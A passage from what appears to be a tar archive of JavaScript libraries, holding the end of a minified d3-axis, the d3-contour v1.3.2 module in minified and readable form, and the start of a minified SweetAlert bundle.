isFinite(t=F(t))?v(t):this.getAttribute("transform")}),S.attr("opacity",u).attr("transform",function(t){var n=this.parentNode.__axis;return v(n&&isFinite(n=n(t))?n:F(t))})),C.remove(),z.attr("d",t===o||t==i?g?"M"+k*g+","+b+"H0.5V"+A+"H"+k*g:"M0.5,"+b+"V"+A:g?"M"+b+","+k*g+"V0.5H"+A+"V"+k*g:"M"+b+",0.5H"+A),H.attr("opacity",1).attr("transform",function(t){return v(F(t))}),j.attr(y+"2",k*h),w.attr(y,k*M).text(l),V.filter(s).attr("fill","none").attr("font-size",10).attr("font-family","sans-serif").attr("text-anchor",t===i?"start":t===o?"end":"middle"),V.each(function(){this.__axis=F})}return M.scale=function(t){return arguments.length?(f=t,M):f},M.ticks=function(){return d=n.call(arguments),M},M.tickArguments=function(t){return arguments.length?(d=null==t?[]:n.call(t),M):d.slice()},M.tickValues=function(t){return arguments.length?(m=null==t?null:n.call(t),M):m&&m.slice()},M.tickFormat=function(t){return arguments.length?(p=t,M):p},M.tickSize=function(t){return arguments.length?(h=g=+t,M):h},M.tickSizeInner=function(t){return arguments.length?(h=+t,M):h},M.tickSizeOuter=function(t){return arguments.length?(g=+t,M):g},M.tickPadding=function(t){return arguments.length?(x=+t,M):x},M}t.axisTop=function(t){return f(e,t)},t.axisRight=function(t){return f(i,t)},t.axisBottom=function(t){return f(a,t)},t.axisLeft=function(t){return f(o,t)},Object.defineProperty(t,"__esModule",{value:!0})});
d3-contour.min.js000064400000013300151677354620007676 0ustar00// https://d3js.org/d3-contour/ v1.3.2 Copyright 2018 Mike Bostock
!function(t,r){"object"==typeof exports&&"undefined"!=typeof module?r(exports,require("d3-array")):"function"==typeof define&&define.amd?define(["exports","d3-array"],r):r(t.d3=t.d3||{},t.d3)}(this,function(t,r){"use strict";var n=Array.prototype.slice;function e(t,r){return t-r}function i(t){return function(){return t}}function a(t,r){for(var n,e=-1,i=r.length;++e<i;)if(n=o(t,r[e]))return n;return 0}function o(t,r){for(var n=r[0],e=r[1],i=-1,a=0,o=t.length,f=o-1;a<o;f=a++){var u=t[a],c=u[0],d=u[1],l=t[f],s=l[0],g=l[1];if(h(u,l,r))return 0;d>e!=g>e&&n<(s-c)*(e-d)/(g-d)+c&&(i=-i)}return i}function h(t,r,n){var e,i,a,o;return function(t,r,n){return(r[0]-t[0])*(n[1]-t[1])==(n[0]-t[0])*(r[1]-t[1])}(t,r,n)&&(i=t[e=+(t[0]===r[0])],a=n[e],o=r[e],i<=a&&a<=o||o<=a&&a<=i)}function f(){}var u=[[],[[[1,1.5],[.5,1]]],[[[1.5,1],[1,1.5]]],[[[1.5,1],[.5,1]]],[[[1,.5],[1.5,1]]],[[[1,1.5],[.5,1]],[[1,.5],[1.5,1]]],[[[1,.5],[1,1.5]]],[[[1,.5],[.5,1]]],[[[.5,1],[1,.5]]],[[[1,1.5],[1,.5]]],[[[.5,1],[1,.5]],[[1.5,1],[1,1.5]]],[[[1.5,1],[1,.5]]],[[[.5,1],[1.5,1]]],[[[1,1.5],[1.5,1]]],[[[.5,1],[1,1.5]]],[]];function c(){var t=1,o=1,h=r.thresholdSturges,c=g;function d(t){var n=h(t);if(Array.isArray(n))n=n.slice().sort(e);else{var i=r.extent(t),a=i[0],o=i[1];n=r.tickStep(a,o,n),n=r.range(Math.floor(a/n)*n,Math.floor(o/n)*n,n)}return n.map(function(r){return l(t,r)})}function l(r,n){var e=[],i=[];return function(r,n,e){var i,a,h,f,c,d,l=new Array,g=new Array;i=a=-1,f=r[0]>=n,u[f<<1].forEach(v);for(;++i<t-1;)h=f,f=r[i+1]>=n,u[h|f<<1].forEach(v);u[f<<0].forEach(v);for(;++a<o-1;){for(i=-1,f=r[a*t+t]>=n,c=r[a*t]>=n,u[f<<1|c<<2].forEach(v);++i<t-1;)h=f,f=r[a*t+t+i+1]>=n,d=c,c=r[a*t+i+1]>=n,u[h|f<<1|c<<2|d<<3].forEach(v);u[f|c<<3].forEach(v)}i=-1,c=r[a*t]>=n,u[c<<2].forEach(v);for(;++i<t-1;)d=c,c=r[a*t+i+1]>=n,u[c<<2|d<<3].forEach(v);function v(t){var r,n,o=[t[0][0]+i,t[0][1]+a],h=[t[1][0]+i,t[1][1]+a],f=s(o),u=s(h);(r=g[f])?(n=l[u])?(delete g[r.end],delete l[n.start],r===n?(r.ring.push(h),e(r.ring)):l[r.start]=g[n.end]={start:r.start,end:n.end,ring:r.ring.concat(n.ring)}):(delete g[r.end],r.ring.push(h),g[r.end=u]=r):(r=l[u])?(n=g[f])?(delete l[r.start],delete g[n.end],r===n?(r.ring.push(h),e(r.ring)):l[n.start]=g[r.end]={start:n.start,end:r.end,ring:n.ring.concat(r.ring)}):(delete l[r.start],r.ring.unshift(o),l[r.start=f]=r):l[f]=g[u]={start:f,end:u,ring:[o,h]}}u[c<<3].forEach(v)}(r,n,function(t){c(t,r,n),function(t){for(var r=0,n=t.length,e=t[n-1][1]*t[0][0]-t[n-1][0]*t[0][1];++r<n;)e+=t[r-1][1]*t[r][0]-t[r-1][0]*t[r][1];return e}(t)>0?e.push([t]):i.push(t)}),i.forEach(function(t){for(var r,n=0,i=e.length;n<i;++n)if(-1!==a((r=e[n])[0],t))return void r.push(t)}),{type:"MultiPolygon",value:n,coordinates:e}}function s(r){return 2*r[0]+r[1]*(t+1)*4}function g(r,n,e){r.forEach(function(r){var i,a=r[0],h=r[1],f=0|a,u=0|h,c=n[u*t+f];a>0&&a<t&&f===a&&(i=n[u*t+f-1],r[0]=a+(e-i)/(c-i)-.5),h>0&&h<o&&u===h&&(i=n[(u-1)*t+f],r[1]=h+(e-i)/(c-i)-.5)})}return d.contour=l,d.size=function(r){if(!arguments.length)return[t,o];var n=Math.ceil(r[0]),e=Math.ceil(r[1]);if(!(n>0&&e>0))throw new Error("invalid size");return t=n,o=e,d},d.thresholds=function(t){return arguments.length?(h="function"==typeof t?t:Array.isArray(t)?i(n.call(t)):i(t),d):h},d.smooth=function(t){return arguments.length?(c=t?g:f,d):c===g},d}function d(t,r,n){for(var e=t.width,i=t.height,a=1+(n<<1),o=0;o<i;++o)for(var h=0,f=0;h<e+n;++h)h<e&&(f+=t.data[h+o*e]),h>=n&&(h>=a&&(f-=t.data[h-a+o*e]),r.data[h-n+o*e]=f/Math.min(h+1,e-1+a-h,a))}function l(t,r,n){for(var e=t.width,i=t.height,a=1+(n<<1),o=0;o<e;++o)for(var h=0,f=0;h<i+n;++h)h<i&&(f+=t.data[o+h*e]),h>=n&&(h>=a&&(f-=t.data[o+(h-a)*e]),r.data[o+(h-n)*e]=f/Math.min(h+1,i-1+a-h,a))}function s(t){return t[0]}function g(t){return t[1]}function v(){return 1}t.contours=c,t.contourDensity=function(){var t=s,e=g,a=v,o=960,h=500,f=20,u=2,w=3*f,y=o+2*w>>u,p=h+2*w>>u,M=i(20);function E(n){var i=new Float32Array(y*p),o=new Float32Array(y*p);n.forEach(function(r,n,o){var h=+t(r,n,o)+w>>u,f=+e(r,n,o)+w>>u,c=+a(r,n,o);h>=0&&h<y&&f>=0&&f<p&&(i[h+f*y]+=c)}),d({width:y,height:p,data:i},{width:y,height:p,data:o},f>>u),l({width:y,height:p,data:o},{width:y,height:p,data:i},f>>u),d({width:y,height:p,data:i},{width:y,height:p,data:o},f>>u),l({width:y,height:p,data:o},{width:y,height:p,data:i},f>>u),d({width:y,height:p,data:i},{width:y,height:p,data:o},f>>u),l({width:y,height:p,data:o},{width:y,height:p,data:i},f>>u);var h=M(i);if(!Array.isArray(h)){var s=r.max(i);h=r.tickStep(0,s,h),(h=r.range(0,Math.floor(s/h)*h,h)).shift()}return c().thresholds(h).size([y,p])(i).map(A)}function A(t){return t.value*=Math.pow(2,-2*u),t.coordinates.forEach(m),t}function m(t){t.forEach(z)}function z(t){t.forEach(x)}function x(t){t[0]=t[0]*Math.pow(2,u)-w,t[1]=t[1]*Math.pow(2,u)-w}function b(){return y=o+2*(w=3*f)>>u,p=h+2*w>>u,E}return E.x=function(r){return arguments.length?(t="function"==typeof r?r:i(+r),E):t},E.y=function(t){return arguments.length?(e="function"==typeof t?t:i(+t),E):e},E.weight=function(t){return arguments.length?(a="function"==typeof t?t:i(+t),E):a},E.size=function(t){if(!arguments.length)return[o,h];var r=Math.ceil(t[0]),n=Math.ceil(t[1]);if(!(r>=0||r>=0))throw new Error("invalid size");return o=r,h=n,b()},E.cellSize=function(t){if(!arguments.length)return 1<<u;if(!((t=+t)>=1))throw new Error("invalid cell size");return u=Math.floor(Math.log(t)/Math.LN2),b()},E.thresholds=function(t){return arguments.length?(M="function"==typeof t?t:Array.isArray(t)?i(n.call(t)):i(t),E):M},E.bandwidth=function(t){if(!arguments.length)return Math.sqrt(f*(f+1));if(!((t=+t)>=0))throw new Error("invalid bandwidth");return f=Math.round((Math.sqrt(4*t*t+1)-1)/2),b()},E},Object.defineProperty(t,"__esModule",{value:!0})});
d3-contour.js000064400000031510151677354620007117 0ustar00// https://d3js.org/d3-contour/ v1.3.2 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-array')) :
typeof define === 'function' && define.amd ? define(['exports', 'd3-array'], factory) :
(factory((global.d3 = global.d3 || {}),global.d3));
}(this, (function (exports,d3Array) { 'use strict';

var array = Array.prototype;

var slice = array.slice;

function ascending(a, b) {
  return a - b;
}

function area(ring) {
  var i = 0, n = ring.length, area = ring[n - 1][1] * ring[0][0] - ring[n - 1][0] * ring[0][1];
  while (++i < n) area += ring[i - 1][1] * ring[i][0] - ring[i - 1][0] * ring[i][1];
  return area;
}

function constant(x) {
  return function() {
    return x;
  };
}

function contains(ring, hole) {
  var i = -1, n = hole.length, c;
  while (++i < n) if (c = ringContains(ring, hole[i])) return c;
  return 0;
}

function ringContains(ring, point) {
  var x = point[0], y = point[1], contains = -1;
  for (var i = 0, n = ring.length, j = n - 1; i < n; j = i++) {
    var pi = ring[i], xi = pi[0], yi = pi[1], pj = ring[j], xj = pj[0], yj = pj[1];
    if (segmentContains(pi, pj, point)) return 0;
    if (((yi > y) !== (yj > y)) && ((x < (xj - xi) * (y - yi) / (yj - yi) + xi))) contains = -contains;
  }
  return contains;
}

function segmentContains(a, b, c) {
  var i; return collinear(a, b, c) && within(a[i = +(a[0] === b[0])], c[i], b[i]);
}

function collinear(a, b, c) {
  return (b[0] - a[0]) * (c[1] - a[1]) === (c[0] - a[0]) * (b[1] - a[1]);
}

function within(p, q, r) {
  return p <= q && q <= r || r <= q && q <= p;
}

function noop() {}

var cases = [
  [],
  [[[1.0, 1.5], [0.5, 1.0]]],
  [[[1.5, 1.0], [1.0, 1.5]]],
  [[[1.5, 1.0], [0.5, 1.0]]],
  [[[1.0, 0.5], [1.5, 1.0]]],
  [[[1.0, 1.5], [0.5, 1.0]], [[1.0, 0.5], [1.5, 1.0]]],
  [[[1.0, 0.5], [1.0, 1.5]]],
  [[[1.0, 0.5], [0.5, 1.0]]],
  [[[0.5, 1.0], [1.0, 0.5]]],
  [[[1.0, 1.5], [1.0, 0.5]]],
  [[[0.5, 1.0], [1.0, 0.5]], [[1.5, 1.0], [1.0, 1.5]]],
  [[[1.5, 1.0], [1.0, 0.5]]],
  [[[0.5, 1.0], [1.5, 1.0]]],
  [[[1.0, 1.5], [1.5, 1.0]]],
  [[[0.5, 1.0], [1.0, 1.5]]],
  []
];

function contours() {
  var dx = 1,
      dy = 1,
      threshold = d3Array.thresholdSturges,
      smooth = smoothLinear;

  function contours(values) {
    var tz = threshold(values);

    // Convert number of thresholds into uniform thresholds.
    if (!Array.isArray(tz)) {
      var domain = d3Array.extent(values), start = domain[0], stop = domain[1];
      tz = d3Array.tickStep(start, stop, tz);
      tz = d3Array.range(Math.floor(start / tz) * tz, Math.floor(stop / tz) * tz, tz);
    } else {
      tz = tz.slice().sort(ascending);
    }

    return tz.map(function(value) {
      return contour(values, value);
    });
  }

  // Accumulate, smooth contour rings, assign holes to exterior rings.
  // Based on https://github.com/mbostock/shapefile/blob/v0.6.2/shp/polygon.js
  function contour(values, value) {
    var polygons = [],
        holes = [];

    isorings(values, value, function(ring) {
      smooth(ring, values, value);
      if (area(ring) > 0) polygons.push([ring]);
      else holes.push(ring);
    });

    holes.forEach(function(hole) {
      for (var i = 0, n = polygons.length, polygon; i < n; ++i) {
        if (contains((polygon = polygons[i])[0], hole) !== -1) {
          polygon.push(hole);
          return;
        }
      }
    });

    return {
      type: "MultiPolygon",
      value: value,
      coordinates: polygons
    };
  }

  // Marching squares with isolines stitched into rings.
  // Based on https://github.com/topojson/topojson-client/blob/v3.0.0/src/stitch.js
  function isorings(values, value, callback) {
    var fragmentByStart = new Array,
        fragmentByEnd = new Array,
        x, y, t0, t1, t2, t3;

    // Special case for the first row (y = -1, t2 = t3 = 0).
    x = y = -1;
    t1 = values[0] >= value;
    cases[t1 << 1].forEach(stitch);
    while (++x < dx - 1) {
      t0 = t1, t1 = values[x + 1] >= value;
      cases[t0 | t1 << 1].forEach(stitch);
    }
    cases[t1 << 0].forEach(stitch);

    // General case for the intermediate rows.
    while (++y < dy - 1) {
      x = -1;
      t1 = values[y * dx + dx] >= value;
      t2 = values[y * dx] >= value;
      cases[t1 << 1 | t2 << 2].forEach(stitch);
      while (++x < dx - 1) {
        t0 = t1, t1 = values[y * dx + dx + x + 1] >= value;
        t3 = t2, t2 = values[y * dx + x + 1] >= value;
        cases[t0 | t1 << 1 | t2 << 2 | t3 << 3].forEach(stitch);
      }
      cases[t1 | t2 << 3].forEach(stitch);
    }

    // Special case for the last row (y = dy - 1, t0 = t1 = 0).
    x = -1;
    t2 = values[y * dx] >= value;
    cases[t2 << 2].forEach(stitch);
    while (++x < dx - 1) {
      t3 = t2, t2 = values[y * dx + x + 1] >= value;
      cases[t2 << 2 | t3 << 3].forEach(stitch);
    }
    cases[t2 << 3].forEach(stitch);

    function stitch(line) {
      var start = [line[0][0] + x, line[0][1] + y],
          end = [line[1][0] + x, line[1][1] + y],
          startIndex = index(start),
          endIndex = index(end),
          f, g;
      if (f = fragmentByEnd[startIndex]) {
        if (g = fragmentByStart[endIndex]) {
          delete fragmentByEnd[f.end];
          delete fragmentByStart[g.start];
          if (f === g) {
            f.ring.push(end);
            callback(f.ring);
          } else {
            fragmentByStart[f.start] = fragmentByEnd[g.end] = {start: f.start, end: g.end, ring: f.ring.concat(g.ring)};
          }
        } else {
          delete fragmentByEnd[f.end];
          f.ring.push(end);
          fragmentByEnd[f.end = endIndex] = f;
        }
      } else if (f = fragmentByStart[endIndex]) {
        if (g = fragmentByEnd[startIndex]) {
          delete fragmentByStart[f.start];
          delete fragmentByEnd[g.end];
          if (f === g) {
            f.ring.push(end);
            callback(f.ring);
          } else {
            fragmentByStart[g.start] = fragmentByEnd[f.end] = {start: g.start, end: f.end, ring: g.ring.concat(f.ring)};
          }
        } else {
          delete fragmentByStart[f.start];
          f.ring.unshift(start);
          fragmentByStart[f.start = startIndex] = f;
        }
      } else {
        fragmentByStart[startIndex] = fragmentByEnd[endIndex] = {start: startIndex, end: endIndex, ring: [start, end]};
      }
    }
  }

  function index(point) {
    return point[0] * 2 + point[1] * (dx + 1) * 4;
  }

  function smoothLinear(ring, values, value) {
    ring.forEach(function(point) {
      var x = point[0],
          y = point[1],
          xt = x | 0,
          yt = y | 0,
          v0,
          v1 = values[yt * dx + xt];
      if (x > 0 && x < dx && xt === x) {
        v0 = values[yt * dx + xt - 1];
        point[0] = x + (value - v0) / (v1 - v0) - 0.5;
      }
      if (y > 0 && y < dy && yt === y) {
        v0 = values[(yt - 1) * dx + xt];
        point[1] = y + (value - v0) / (v1 - v0) - 0.5;
      }
    });
  }

  contours.contour = contour;

  contours.size = function(_) {
    if (!arguments.length) return [dx, dy];
    var _0 = Math.ceil(_[0]), _1 = Math.ceil(_[1]);
    if (!(_0 > 0) || !(_1 > 0)) throw new Error("invalid size");
    return dx = _0, dy = _1, contours;
  };

  contours.thresholds = function(_) {
    return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), contours) : threshold;
  };

  contours.smooth = function(_) {
    return arguments.length ? (smooth = _ ? smoothLinear : noop, contours) : smooth === smoothLinear;
  };

  return contours;
}

// TODO Optimize edge cases.
// TODO Optimize index calculation.
// TODO Optimize arguments.
function blurX(source, target, r) {
  var n = source.width,
      m = source.height,
      w = (r << 1) + 1;
  for (var j = 0; j < m; ++j) {
    for (var i = 0, sr = 0; i < n + r; ++i) {
      if (i < n) {
        sr += source.data[i + j * n];
      }
      if (i >= r) {
        if (i >= w) {
          sr -= source.data[i - w + j * n];
        }
        target.data[i - r + j * n] = sr / Math.min(i + 1, n - 1 + w - i, w);
      }
    }
  }
}

// TODO Optimize edge cases.
// TODO Optimize index calculation.
// TODO Optimize arguments.
function blurY(source, target, r) {
  var n = source.width,
      m = source.height,
      w = (r << 1) + 1;
  for (var i = 0; i < n; ++i) {
    for (var j = 0, sr = 0; j < m + r; ++j) {
      if (j < m) {
        sr += source.data[i + j * n];
      }
      if (j >= r) {
        if (j >= w) {
          sr -= source.data[i + (j - w) * n];
        }
        target.data[i + (j - r) * n] = sr / Math.min(j + 1, m - 1 + w - j, w);
      }
    }
  }
}

function defaultX(d) {
  return d[0];
}

function defaultY(d) {
  return d[1];
}

function defaultWeight() {
  return 1;
}

function density() {
  var x = defaultX,
      y = defaultY,
      weight = defaultWeight,
      dx = 960,
      dy = 500,
      r = 20, // blur radius
      k = 2, // log2(grid cell size)
      o = r * 3, // grid offset, to pad for blur
      n = (dx + o * 2) >> k, // grid width
      m = (dy + o * 2) >> k, // grid height
      threshold = constant(20);

  function density(data) {
    var values0 = new Float32Array(n * m),
        values1 = new Float32Array(n * m);

    data.forEach(function(d, i, data) {
      var xi = (+x(d, i, data) + o) >> k,
          yi = (+y(d, i, data) + o) >> k,
          wi = +weight(d, i, data);
      if (xi >= 0 && xi < n && yi >= 0 && yi < m) {
        values0[xi + yi * n] += wi;
      }
    });

    // TODO Optimize.
    blurX({width: n, height: m, data: values0}, {width: n, height: m, data: values1}, r >> k);
    blurY({width: n, height: m, data: values1}, {width: n, height: m, data: values0}, r >> k);
    blurX({width: n, height: m, data: values0}, {width: n, height: m, data: values1}, r >> k);
    blurY({width: n, height: m, data: values1}, {width: n, height: m, data: values0}, r >> k);
    blurX({width: n, height: m, data: values0}, {width: n, height: m, data: values1}, r >> k);
    blurY({width: n, height: m, data: values1}, {width: n, height: m, data: values0}, r >> k);

    var tz = threshold(values0);

    // Convert number of thresholds into uniform thresholds.
    if (!Array.isArray(tz)) {
      var stop = d3Array.max(values0);
      tz = d3Array.tickStep(0, stop, tz);
      tz = d3Array.range(0, Math.floor(stop / tz) * tz, tz);
      tz.shift();
    }

    return contours()
        .thresholds(tz)
        .size([n, m])
      (values0)
        .map(transform);
  }

  function transform(geometry) {
    geometry.value *= Math.pow(2, -2 * k); // Density in points per square pixel.
    geometry.coordinates.forEach(transformPolygon);
    return geometry;
  }

  function transformPolygon(coordinates) {
    coordinates.forEach(transformRing);
  }

  function transformRing(coordinates) {
    coordinates.forEach(transformPoint);
  }

  // TODO Optimize.
  function transformPoint(coordinates) {
    coordinates[0] = coordinates[0] * Math.pow(2, k) - o;
    coordinates[1] = coordinates[1] * Math.pow(2, k) - o;
  }

  function resize() {
    o = r * 3;
    n = (dx + o * 2) >> k;
    m = (dy + o * 2) >> k;
    return density;
  }

  density.x = function(_) {
    return arguments.length ? (x = typeof _ === "function" ? _ : constant(+_), density) : x;
  };

  density.y = function(_) {
    return arguments.length ? (y = typeof _ === "function" ? _ : constant(+_), density) : y;
  };

  density.weight = function(_) {
    return arguments.length ? (weight = typeof _ === "function" ? _ : constant(+_), density) : weight;
  };

  density.size = function(_) {
    if (!arguments.length) return [dx, dy];
    var _0 = Math.ceil(_[0]), _1 = Math.ceil(_[1]);
    if (!(_0 >= 0) && !(_0 >= 0)) throw new Error("invalid size");
    return dx = _0, dy = _1, resize();
  };

  density.cellSize = function(_) {
    if (!arguments.length) return 1 << k;
    if (!((_ = +_) >= 1)) throw new Error("invalid cell size");
    return k = Math.floor(Math.log(_) / Math.LN2), resize();
  };

  density.thresholds = function(_) {
    return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), density) : threshold;
  };

  density.bandwidth = function(_) {
    if (!arguments.length) return Math.sqrt(r * (r + 1));
    if (!((_ = +_) >= 0)) throw new Error("invalid bandwidth");
    return r = Math.round((Math.sqrt(4 * _ * _ + 1) - 1) / 2), resize();
  };

  return density;
}

exports.contours = contours;
exports.contourDensity = density;

Object.defineProperty(exports, '__esModule', { value: true });

})));
sweetalert.min.js000064400000117550151677356210010071 0ustar00!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.swal=e():t.swal=e()}(this,function(){return function(t){function e(o){if(n[o])return n[o].exports;var r=n[o]={i:o,l:!1,exports:{}};return t[o].call(r.exports,r,r.exports,e),r.l=!0,r.exports}var n={};return e.m=t,e.c=n,e.d=function(t,n,o){e.o(t,n)||Object.defineProperty(t,n,{configurable:!1,enumerable:!0,get:o})},e.n=function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(n,"a",n),n},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=8)}([function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var o="swal-button";e.CLASS_NAMES={MODAL:"swal-modal",OVERLAY:"swal-overlay",SHOW_MODAL:"swal-overlay--show-modal",MODAL_TITLE:"swal-title",MODAL_TEXT:"swal-text",ICON:"swal-icon",ICON_CUSTOM:"swal-icon--custom",CONTENT:"swal-content",FOOTER:"swal-footer",BUTTON_CONTAINER:"swal-button-container",BUTTON:o,CONFIRM_BUTTON:o+"--confirm",CANCEL_BUTTON:o+"--cancel",DANGER_BUTTON:o+"--danger",BUTTON_LOADING:o+"--loading",BUTTON_LOADER:o+"__loader"},e.default=e.CLASS_NAMES},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.getNode=function(t){var e="."+t;return document.querySelector(e)},e.stringToNode=function(t){var e=document.createElement("div");return e.innerHTML=t.trim(),e.firstChild},e.insertAfter=function(t,e){var n=e.nextSibling;e.parentNode.insertBefore(t,n)},e.removeNode=function(t){t.parentElement.removeChild(t)},e.throwErr=function(t){throw t=t.replace(/ +(?= )/g,""),"SweetAlert: "+(t=t.trim())},e.isPlainObject=function(t){if("[object Object]"!==Object.prototype.toString.call(t))return!1;var e=Object.getPrototypeOf(t);return null===e||e===Object.prototype},e.ordinalSuffixOf=function(t){var e=t%10,n=t%100;return 1===e&&11!==n?t+"st":2===e&&12!==n?t+"nd":3===e&&13!==n?t+"rd":t+"th"}},function(t,e,n){"use strict";function o(t){for(var n in t)e.hasOwnProperty(n)||(e[n]=t[n])}Object.defineProperty(e,"__esModule",{value:!0}),o(n(25));var r=n(26);e.overlayMarkup=r.default,o(n(27)),o(n(28)),o(n(29));var i=n(0),a=i.default.MODAL_TITLE,s=i.default.MODAL_TEXT,c=i.default.ICON,l=i.default.FOOTER;e.iconMarkup='\n  <div class="'+c+'"></div>',e.titleMarkup='\n  <div class="'+a+'"></div>\n',e.textMarkup='\n  <div class="'+s+'"></div>',e.footerMarkup='\n  <div class="'+l+'"></div>\n'},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var o=n(1);e.CONFIRM_KEY="confirm",e.CANCEL_KEY="cancel";var r={visible:!0,text:null,value:null,className:"",closeModal:!0},i=Object.assign({},r,{visible:!1,text:"Cancel",value:null}),a=Object.assign({},r,{text:"OK",value:!0});e.defaultButtonList={cancel:i,confirm:a};var s=function(t){switch(t){case e.CONFIRM_KEY:return a;case e.CANCEL_KEY:return i;default:var n=t.charAt(0).toUpperCase()+t.slice(1);return Object.assign({},r,{text:n,value:t})}},c=function(t,e){var n=s(t);return!0===e?Object.assign({},n,{visible:!0}):"string"==typeof e?Object.assign({},n,{visible:!0,text:e}):o.isPlainObject(e)?Object.assign({visible:!0},n,e):Object.assign({},n,{visible:!1})},l=function(t){for(var e={},n=0,o=Object.keys(t);n<o.length;n++){var r=o[n],a=t[r],s=c(r,a);e[r]=s}return e.cancel||(e.cancel=i),e},u=function(t){var n={};switch(t.length){case 1:n[e.CANCEL_KEY]=Object.assign({},i,{visible:!1});break;case 2:n[e.CANCEL_KEY]=c(e.CANCEL_KEY,t[0]),n[e.CONFIRM_KEY]=c(e.CONFIRM_KEY,t[1]);break;default:o.throwErr("Invalid number of 'buttons' in array ("+t.length+").\n      If you want more than 2 buttons, you need to use an object!")}return n};e.getButtonListOpts=function(t){var n=e.defaultButtonList;return"string"==typeof t?n[e.CONFIRM_KEY]=c(e.CONFIRM_KEY,t):Array.isArray(t)?n=u(t):o.isPlainObject(t)?n=l(t):!0===t?n=u([!0,!0]):!1===t?n=u([!1,!1]):void 0===t&&(n=e.defaultButtonList),n}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var o=n(1),r=n(2),i=n(0),a=i.default.MODAL,s=i.default.OVERLAY,c=n(30),l=n(31),u=n(32),f=n(33);e.injectElIntoModal=function(t){var e=o.getNode(a),n=o.stringToNode(t);return e.appendChild(n),n};var d=function(t){t.className=a,t.textContent=""},p=function(t,e){d(t);var n=e.className;n&&t.classList.add(n)};e.initModalContent=function(t){var e=o.getNode(a);p(e,t),c.default(t.icon),l.initTitle(t.title),l.initText(t.text),f.default(t.content),u.default(t.buttons,t.dangerMode)};var m=function(){var t=o.getNode(s),e=o.stringToNode(r.modalMarkup);t.appendChild(e)};e.default=m},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var o=n(3),r={isOpen:!1,promise:null,actions:{},timer:null},i=Object.assign({},r);e.resetState=function(){i=Object.assign({},r)},e.setActionValue=function(t){if("string"==typeof t)return a(o.CONFIRM_KEY,t);for(var e in t)a(e,t[e])};var a=function(t,e){i.actions[t]||(i.actions[t]={}),Object.assign(i.actions[t],{value:e})};e.setActionOptionsFor=function(t,e){var n=(void 0===e?{}:e).closeModal,o=void 0===n||n;Object.assign(i.actions[t],{closeModal:o})},e.default=i},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var o=n(1),r=n(3),i=n(0),a=i.default.OVERLAY,s=i.default.SHOW_MODAL,c=i.default.BUTTON,l=i.default.BUTTON_LOADING,u=n(5);e.openModal=function(){o.getNode(a).classList.add(s),u.default.isOpen=!0};var f=function(){o.getNode(a).classList.remove(s),u.default.isOpen=!1};e.onAction=function(t){void 0===t&&(t=r.CANCEL_KEY);var e=u.default.actions[t],n=e.value;if(!1===e.closeModal){var i=c+"--"+t;o.getNode(i).classList.add(l)}else f();u.default.promise.resolve(n)},e.getState=function(){var t=Object.assign({},u.default);return delete t.promise,delete t.timer,t},e.stopLoading=function(){for(var t=document.querySelectorAll("."+c),e=0;e<t.length;e++){t[e].classList.remove(l)}}},function(t,e){var n;n=function(){return this}();try{n=n||Function("return this")()||(0,eval)("this")}catch(t){"object"==typeof window&&(n=window)}t.exports=n},function(t,e,n){(function(e){t.exports=e.sweetAlert=n(9)}).call(e,n(7))},function(t,e,n){(function(e){t.exports=e.swal=n(10)}).call(e,n(7))},function(t,e,n){"undefined"!=typeof window&&n(11),n(16);var o=n(23).default;t.exports=o},function(t,e,n){var o=n(12);"string"==typeof o&&(o=[[t.i,o,""]]);var r={insertAt:"top"};r.transform=void 0;n(14)(o,r);o.locals&&(t.exports=o.locals)},function(t,e,n){e=t.exports=n(13)(void 0),e.push([t.i,'.swal-icon--error{border-color:#f27474;-webkit-animation:animateErrorIcon .5s;animation:animateErrorIcon .5s}.swal-icon--error__x-mark{position:relative;display:block;-webkit-animation:animateXMark .5s;animation:animateXMark .5s}.swal-icon--error__line{position:absolute;height:5px;width:47px;background-color:#f27474;display:block;top:37px;border-radius:2px}.swal-icon--error__line--left{-webkit-transform:rotate(45deg);transform:rotate(45deg);left:17px}.swal-icon--error__line--right{-webkit-transform:rotate(-45deg);transform:rotate(-45deg);right:16px}@-webkit-keyframes animateErrorIcon{0%{-webkit-transform:rotateX(100deg);transform:rotateX(100deg);opacity:0}to{-webkit-transform:rotateX(0deg);transform:rotateX(0deg);opacity:1}}@keyframes animateErrorIcon{0%{-webkit-transform:rotateX(100deg);transform:rotateX(100deg);opacity:0}to{-webkit-transform:rotateX(0deg);transform:rotateX(0deg);opacity:1}}@-webkit-keyframes animateXMark{0%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}50%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}80%{-webkit-transform:scale(1.15);transform:scale(1.15);margin-top:-6px}to{-webkit-transform:scale(1);transform:scale(1);margin-top:0;opacity:1}}@keyframes animateXMark{0%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}50%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}80%{-webkit-transform:scale(1.15);transform:scale(1.15);margin-top:-6px}to{-webkit-transform:scale(1);transform:scale(1);margin-top:0;opacity:1}}.swal-icon--warning{border-color:#f8bb86;-webkit-animation:pulseWarning .75s infinite alternate;animation:pulseWarning .75s infinite alternate}.swal-icon--warning__body{width:5px;height:47px;top:10px;border-radius:2px;margin-left:-2px}.swal-icon--warning__body,.swal-icon--warning__dot{position:absolute;left:50%;background-color:#f8bb86}.swal-icon--warning__dot{width:7px;height:7px;border-radius:50%;margin-left:-4px;bottom:-11px}@-webkit-keyframes pulseWarning{0%{border-color:#f8d486}to{border-color:#f8bb86}}@keyframes 